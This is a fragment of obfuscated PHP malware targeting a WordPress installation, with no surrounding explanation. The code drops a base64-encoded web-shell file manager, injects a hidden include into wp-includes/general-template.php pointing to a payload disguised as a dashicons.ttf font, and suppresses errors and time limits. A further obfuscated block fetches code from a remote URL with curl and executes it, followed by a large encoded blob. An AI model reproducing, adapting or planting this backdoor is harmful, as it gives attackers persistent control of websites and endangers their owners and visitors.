0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } @include "\x2f\x68\x6f\x6d\x65\x2f\x78\x73\x77\x6f\x70\x34\x75\x31\x75\x73\x74\x31\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x54\x65\x78\x74\x2f\x44\x69\x66\x66\x2f\x45\x6e\x67\x69\x6e\x65\x2f\x64\x61\x73\x68\x69\x63\x6f\x6e\x73\x2e\x74\x74\x66";?> error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2